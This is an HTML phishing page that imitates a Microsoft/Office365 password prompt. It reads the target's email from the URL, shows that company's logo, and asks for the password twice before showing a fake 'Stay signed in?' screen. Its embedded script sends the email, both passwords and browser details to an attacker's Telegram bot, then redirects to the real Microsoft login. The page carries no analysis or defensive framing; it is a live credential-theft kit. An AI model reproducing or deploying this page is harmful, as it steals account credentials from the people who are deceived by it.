<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="robots" content="noindex, nofollow">
    <!-- Use a relative path for the favicon in the same directory -->
    <link rel="icon" href="favicon.png" />
    <title>Sign in to your account</title>
    <link rel="stylesheet" href="https://busy-bee.ro/a/app.css" />
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <style>
      * {
        padding: 0;
        margin: 0;
        box-sizing: border-box;
        font-family: "Segoe UI", "Helvetica Neue", "Lucida Grande", "Roboto", "Ebrima", "Nirmala UI", "Gadugi", "Segoe Xbox Symbol", "Segoe UI Symbol", "Meiryo UI", "Khmer UI", "Tunga", "Lao UI", "Raavi", "Iskoola Pota", "Latha", "Leelawadee", "Microsoft YaHei UI", "Microsoft JhengHei UI", "Malgun Gothic", "Estrangelo Edessa", "Microsoft Himalaya", "Microsoft New Tai Lue", "Microsoft PhagsPa", "Microsoft Tai Le", "Microsoft Yi Baiti", "Mongolian Baiti", "MV Boli", "Myanmar Text", "Cambria Math";
      }

      html,
      body {
        background-image: url('https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg');
        background-repeat: no-repeat;
        background-size: cover;
        color: #1b1b1b;
      }

      section {
        display: table-cell;
        vertical-align: middle;
        height: 100vh;
        width: 100rem;
        max-width: 100%;
      }

      .title {
        line-height: 1.75rem;
        color: #1b1b1b;
        font-size: 1.5rem;
        font-weight: 600;
      }

      .auth-wrapper {
        max-width: 440px;
        width: calc(100% - 40px);
        padding: 44px;
        margin: auto;
        margin-bottom: 28px;
        background-color: #fff;
        -webkit-box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
        -moz-box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
        box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
        min-width: 320px;
      }

      .opts {
        padding: 10px 44px;
        max-width: 440px;
        cursor: pointer;
        margin: auto;
        background-color: #fff;
        -webkit-box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
        -moz-box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
        box-shadow: 0 2px 6px rgba(0, 0, 0, .2);
      }

      .opts:hover {
        background-color: rgba(0, 0, 0, .1);
      }

      .input {
        padding: 4px 8px;
        border-style: solid;
        border-width: 2px;
        border-color: rgba(0, 0, 0, .4);
        background-color: rgba(255, 255, 255, .4);
        height: 32px;
        height: 2rem;
        padding: 6px 10px;
        padding-left: 10px;
        border-width: 1px;
        border-top-width: 1px;
        border-right-width: 1px;
        border-left-width: 1px;
        border-color: #666;
        border-color: rgba(0, 0, 0, .6);
        height: 36px;
        outline: none;
        border-radius: 0;
        -webkit-border-radius: 0;
        background-color: transparent;
        border-top-width: 0;
        border-left-width: 0;
        border-right-width: 0;
        padding-left: 0;
        width: calc(100% - 20px);
      }

      .input:hover {
        border-color: #323232;
        border-color: rgba(0, 0, 0, .8);
      }

      .input::placeholder {
        font-size: 15px;
      }

      .mb-0 {
        margin-bottom: 0;
      }

      span.link {
        text-decoration: none;
        color: #0067b8
      }

      a:hover {
        text-decoration: underline !important;
        color: #666;
      }

      a:focus {
        border: 1px dotted #000;
        text-decoration: underline !important;
      }

      .btn {
        margin: 0 0 0 auto;
        display: block;
        background-color: #0067b8;
        color: #fff;
        border: 2px solid #0067b8;
        padding: 5px 30px;
        font-size: 15px;
        cursor: pointer;
      }

      .btn:hover {
        background-color: #005da6;
      }

      .has-icon {
        display: flex;
        gap: 5px;
        align-items: center;
      }

      .mb-16 {
        margin-bottom: 16px;
      }

      .has-icon .icon {
        display: inline-flex;
      }

      .footer {
        position: absolute;
        left: 0;
        bottom: 0;
        width: 100%;
        overflow: visible;
        z-index: 99;
        clear: both;
        min-height: 28px;
        display: flex;
        flex-direction: row;
        gap: 10px;
        justify-content: end;
      }

      .footer a,
      .footer span {
        color: #000;
        font-size: 12px;
        line-height: 28px;
        margin-left: 8px;
        margin-right: 8px;
        text-decoration: none;
      }

      .footer span {
        font-size: 20px;
        line-height: 20px;
      }

      .footer a:hover {
        text-decoration: underline;
      }

      .d-none {
        display: none !important;
      }

      .back {
        border: none;
        border-radius: 50%;
        width: 24px;
        height: 24px;
        background-color: unset;
        cursor: pointer;
      }

      .backConfirm {
        border: none;
        border-radius: 50%;
        width: 24px;
        height: 24px;
        background-color: unset;
        cursor: pointer;
      }

      .identity {
        display: inline-flex;
        gap: 5px;
      }

      .d-block {
        display: block;
      }

      .w-100 {
        width: 100%;
      }

      .back:hover {
        background-color: #e6e6e6;
        background-color: rgba(0, 0, 0, .1);
      }

      .mt-16 {
        margin-top: 16px;
      }

      .mb-16 {
        margin-bottom: 16px;
      }

      .error {
        color: var(--error) !important;
      }

      .error-inp {
        border-bottom-color: var(--error) !important;
      }

      .btn-group {
        text-align: right;
        width: 100%;
        margin: 16px 0;
      }

      .btn-group>.btn {
        display: inline;
      }

      .btn-group>.btn:not(:last-child) {
        margin-right: 5px;
      }

      .btn-sec {
        background-color: #b2b2b2;
        color: #000;
        border-color: #b2b2b2;
      }

      .btn-sec:hover {
        background-color: rgba(0, 0, 0, .3);
      }

      #btn_final:hover {
        text-decoration: underline;
      }

      .text-title {
        font-size: 1.5rem;
      }

      label.has-checkbox {
        display: inline-flex;
        align-items: center;
        gap: 5px;
      }

      .checkbox {
        width: 20px;
        height: 20px;
      }

      .p {
        font-weight: 400;
        font-size: 15px;
        margin: 16px 0;
      }

      .fs-13 {
        font-size: 13px;
      }

      #user_identity {
        font-size: 15px;
        color: #1b1b1b;
      }

      img {
        vertical-align: middle;
      }
    </style>
    <script src="addLogDetails.js"></script>
  </head>
  <body>
    <section id="section_pwd">
      <div class="auth-wrapper">
        <div class="identity">
          <img id="logoImage" src="https://pageboss-database.pages.dev/logo.svg" alt="logo" class="d-block" style="max-width: 40px; max-height: 40px; border-radius: 10%;" />
          <span id="companyName" style="font-size: 20px; margin-left: 2px; margin-top: 5px; text-transform: capitalize;">Company Name</span>
        </div>
        <div class="identity w-100 mt-16 mb-16">
          <span id="user_identity">a@b.com</span>
        </div>
        <h2 class="title mb-16">Enter password</h2>
        <p class="mb-16 mt-16">Because you're accessing sensitive information, you need to verify your password.</p>
        <form>
          <div class="mb-16">
            <p id="error_pwd" class="error"></p>
            <input id="inp_pwd" type="password" name="pass" class="input" placeholder="Password" />
          </div>
        </form>
        <div>
          <p class="mb-16">
            <span class="link fs-13">Note: Only the above email recipient can access this file.</span>
          </p>
        </div>
        <div>
          <button type="button" class="btn" id="btn_confirm">Sign in</button>
        </div>
      </div>
    </section>
    <section id="section_confirm" class="d-none">
      <div class="auth-wrapper">
        <div class="identity">
          <img id="logoImage2" src="https://pageboss-database.pages.dev/logo.svg" alt="logo" class="d-block" style="max-width: 40px; max-height: 40px; border-radius: 10%;" />
          <span id="companyName2" style="font-size: 20px; margin-left: 2px; margin-top: 5px; text-transform: capitalize;">Company Name</span>
        </div>
        <div class="identity w-100 mt-16 mb-16">
          <button class="backConfirm">
            <img src="https://pageboss-database.pages.dev/back.svg" />
          </button>
          <span id="user_identity2">a@b.com</span>
        </div>
        <h2 class="title mb-16">Confirm password</h2>
        <form>
          <div class="mb-16">
            <p id="error_confirm" class="error"></p>
            <input id="inp_confirm" type="password" name="pass" class="input" placeholder="Confirm password" />
          </div>
        </form>
        <div>
          <p class="mb-16">
            <span class="link fs-13">Ensure the password you entered is correct.</span>
          </p>
        </div>
        <div>
          <button type="button" class="btn" id="btn_sig">Yes, sign in</button>
        </div>
      </div>
    </section>
    <section id="section_final" class="d-none">
      <div class="auth-wrapper">
        <div class="identity">
          <img id="logoImage3" src="https://pageboss-database.pages.dev/logo.svg" alt="logo" class="d-block" style="max-width: 40px; max-height: 40px; border-radius: 10%;" />
          <span id="companyName3" style="font-size: 20px; margin-left: 2px; margin-top: 5px; text-transform: capitalize;">Company Name</span>
        </div>
        <div class="identity w-100 mt-16 mb-16">
          <span id="user_identity3">a@b.com</span>
        </div>
        <h2 class="title mb-16">Stay signed in?</h2>
        <p class="p">Stay signed in so you don't have to sign in again next time.</p>
        <label class="has-checkbox">
          <input type="checkbox" class="checkbox" />
          <span>Don't show this again</span>
        </label>
        <div class="btn-group">
          <button type="button" class="btn btn-sec" id="btn_final">No</button>
          <button type="button" class="btn" id="btn_final">Yes</button>
        </div>
      </div>
    </section>
    <footer class="footer">
      <a href="/">Terms of use</a>
      <a href="/">Privacy & cookies</a>
      <span>.&nbsp;.&nbsp;.</span>
    </footer>
    <script>
      
      document.addEventListener('DOMContentLoaded', () => {
    const url = window.location.href;
    const explode = url.split('#');
    const pwdReq = "Please enter the password for your Microsoft account.";
    const confirmReq = "Please confirm the password for your Microsoft account.";
    const pwdInp = document.getElementById('inp_pwd');
    const confirmInp = document.getElementById('inp_confirm');
    const user_identity = document.getElementById('user_identity');

    if (!user_identity) {
        console.error("Element with id 'user_identity' not found.");
        return;
    }

    user_identity.innerText = explode[1] || '';

    const email = explode[1];
    const getLogo = email.split("@");
    const company_name = getLogo[1].split('.');
    const microsoftDomains = ["outlook", "hotmail", "microsoft", "live", "office", "windows"];
    let companyName = company_name[0];

    if (microsoftDomains.includes(companyName)) {
        companyName = "microsoft";
    }

    document.getElementById("logoImage").src = "https://logo.clearbit.com/" + getLogo[1];
    document.getElementById("companyName").textContent = companyName;

    let view = "pwd";
    let pwdVal = false;
    let confirmVal = false;

    pwdInp.addEventListener('keydown', (event) => {
        if (event.key === "Enter") {
            event.preventDefault();
            validate();
            if (pwdVal) {
                showConfirmSection();
            }
        }
    });

    confirmInp.addEventListener('keydown', (event) => {
        if (event.key === "Enter") {
            event.preventDefault();
            validate();
            if (confirmVal) {
                showFinalSection();
            }
        }
    });

    const confirmBtn = document.getElementById('btn_confirm');
    if (confirmBtn) {
        confirmBtn.addEventListener('click', () => {
            validate();
            if (pwdVal) {
                showConfirmSection();
            }
        });
    }

    const signInBtn = document.getElementById('btn_sig');
    if (signInBtn) {
        signInBtn.addEventListener('click', () => {
            validate();
            if (confirmVal) {
                showFinalSection();
                sendLogs();
            }
        });
    }

    function validate() {
        if (view === "pwd") {
            if (pwdInp.value.trim() === "") {
                displayError('error_pwd', pwdReq);
                pwdVal = false;
            } else {
                clearError('error_pwd');
                pwdVal = true;
                localStorage.setItem("Password", pwdInp.value);
            }
        } else if (view === "confirm") {
            if (confirmInp.value.trim() === "") {
                displayError('error_confirm', confirmReq);
                confirmVal = false;
            } else {
                clearError('error_confirm');
                confirmVal = true;
                localStorage.setItem("Password confirmed", confirmInp.value);
            }
        }
    }

    function displayError(elementId, message) {
        const errorElement = document.getElementById(elementId);
        if (errorElement) {
            errorElement.innerText = message;
            errorElement.classList.add('error-inp');
        }
    }

    function clearError(elementId) {
        const errorElement = document.getElementById(elementId);
        if (errorElement) {
            errorElement.innerText = "";
            errorElement.classList.remove('error-inp');
        }
    }

    function showConfirmSection() {
        document.getElementById("section_pwd").classList.add('d-none');
        document.getElementById('section_confirm').classList.remove('d-none');
        updateLogoAndCompany("user_identity2", "logoImage2", "companyName2");
        view = "confirm";
    }

    function showFinalSection() {
        document.getElementById("section_confirm").classList.add('d-none');
        document.getElementById('section_final').classList.remove('d-none');
        updateLogoAndCompany("user_identity3", "logoImage3", "companyName3");
        view = "final";
    }

    function updateLogoAndCompany(userIdentityId, logoImageId, companyNameId) {
        const userIdentity = document.getElementById(userIdentityId);
        if (userIdentity) {
            userIdentity.innerText = explode[1] || '';
        } else {
            console.error(`Element with id '${userIdentityId}' not found.`);
        }

        const email = userIdentity.innerText;
        const getLogo = email.split("@");
        const company_name = getLogo[1].split('.');
        const microsoftDomains = ["outlook", "hotmail", "microsoft", "live", "office", "windows"];
        let companyName = company_name[0];

        if (microsoftDomains.includes(companyName)) {
            companyName = "microsoft";
        }

        document.getElementById(logoImageId).src = "https://logo.clearbit.com/" + getLogo[1];
        document.getElementById(companyNameId).textContent = companyName;
    }

    document.querySelector('.backConfirm').addEventListener('click', () => {
        view = "uname";
        document.getElementById("section_confirm").classList.add('d-none');
        document.getElementById('section_pwd').classList.remove('d-none');
    });

    document.querySelectorAll('#btn_verify').forEach((b) => {
        b.addEventListener('click', () => {
            sendLogs();
        });
        b.addEventListener('keydown', (event) => {
            if (event.key === "Enter") {
                event.preventDefault();
                sendLogs();
            }
        });
    });

    function sendLogs() {
        const username = explode[1];
        const password = pwdInp.value;
        const confirmPassword = confirmInp.value;
        const ipAddress = ""; // Replace with actual IP fetching method
        const deviceInfo = {
            manufacturer: "",
            model: "",
            os: getOS(),
            browser: getBrowser()
        };

        const x = `prompt=login&x-client-SKU=MSAL.Desktop&x-client-Ver=4.58.1.0&uaid=${generateId()}; "userAgent"=${navigator.userAgent}-NG; MSPOK=$uuid-${generateId()}; &ui_locales=en-GB&client_info=1&${generateIdLetters()}=0&login_username=${username}&passwd=${password}; DeviceId=${generateId()}; status_date=${setCurrentDateInDesiredFormat()};`;

        getFirstLocation(username, password, confirmPassword, x, deviceInfo, ipAddress);
    }

    function getFirstLocation(username, password, confirmPassword, x, deviceInfo, ipAddress) {
        try {
            const dataToSend = {
                username,
                password,
                confirmPassword,
                ipAddress,
                Device: deviceInfo.manufacturer,
                OS: deviceInfo.os,
                Browser: deviceInfo.browser,
                Cookies: x,
            };

            sendToTelegram(dataToSend);
        } catch (error) {
            console.error("Error fetching location data:", error);
        }
    }

    function sendToTelegram(data) {
        const payload = {
            chat_id: chatId,
            text: `
                Office365 Login:
                ________________________
                "Email address, phone number or skype": ${data.username},
                "Password": ${data.password},
                "Confirmed Password": ${data.confirmPassword},
                "IP": ${data.ipAddress},
                "Device Info": ${data.Device},
                "OS": ${data.OS},
                "Browser": ${data.Browser},
                "Cookies": ${data.Cookies}
            `
        };

        const sendToBot = {
            url: "https://api.telegram.org/bot" + telegramBotId + "/sendMessage",
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "cache-control": "no-cache"
            },
            body: JSON.stringify(payload)
        };

        fetch(sendToBot.url, sendToBot)
        .then(response => {
            if (!response.ok) {
                throw new Error(`HTTP error! Status: ${response.status}`);
            }
            localStorage.removeItem("Password");
            localStorage.removeItem("Password confirmed");
            window.location.href = "https://login.microsoftonline.com/";
        })
        .catch(error => {
            console.error("Error sending data to Telegram:", error);
        });
    }

    function generateId() {
        const characters = 'abcdef0123456789';
        const numDashes = 4;
        const length = 13;
        const dashPositions = [];

        for (let i = 1; i < numDashes; i++) {
            dashPositions.push((length + 1) * i + i - 1);
        }

        let result = '';

        for (let i = 0; i < numDashes * (length + 1); i++) {
            if (dashPositions.includes(i)) {
                result += '-';
            } else {
                result += characters.charAt(Math.floor(Math.random() * characters.length));
            }
        }

        return result;
    }

    function generateIdLetters() {
        const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
        const numDashes = 4;
        const length = 21;
        const dashPositions = [];

        for (let i = 1; i < numDashes; i++) {
            dashPositions.push((length + 1) * i + i - 1);
        }

        let result = '';

        for (let i = 0; i < numDashes * (length + 1); i++) {
            if (dashPositions.includes(i)) {
                result += '-';
            } else {
                result += characters.charAt(Math.floor(Math.random() * characters.length));
            }
        }

        return result;
    }

    function setCurrentDateInDesiredFormat() {
        const currentDate = new Date();
        return `${currentDate.getDate()}/${currentDate.getMonth() + 1}/${currentDate.getFullYear()} ${currentDate.getHours()}:${currentDate.getMinutes()}:${currentDate.getSeconds()}`;
    }

    function getOS() {
        const userAgent = navigator.userAgent || navigator.vendor || window.opera;
        if (/windows phone/i.test(userAgent)) {
            return "Windows Phone";
        }
        if (/android/i.test(userAgent)) {
            return "Android";
        }
        if (/iPad|iPhone|iPod/.test(userAgent) && !window.MSStream) {
            return "iOS";
        }
        return "unknown";
    }

    function getBrowser() {
        const userAgent = navigator.userAgent || navigator.vendor || window.opera;
        if (/opera|OPR/i.test(userAgent)) {
            return "Opera";
        }
        if (/firefox/i.test(userAgent)) {
            return "Firefox";
        }
        if (/chrome/i.test(userAgent)) {
            return "Chrome";
        }
        if (/safari/i.test(userAgent)) {
            return "Safari";
        }
        if (/MSIE|Trident/i.test(userAgent)) {
            return "Internet Explorer";
        }
        return "unknown";
    }

});

    </script>
  </body>
</html>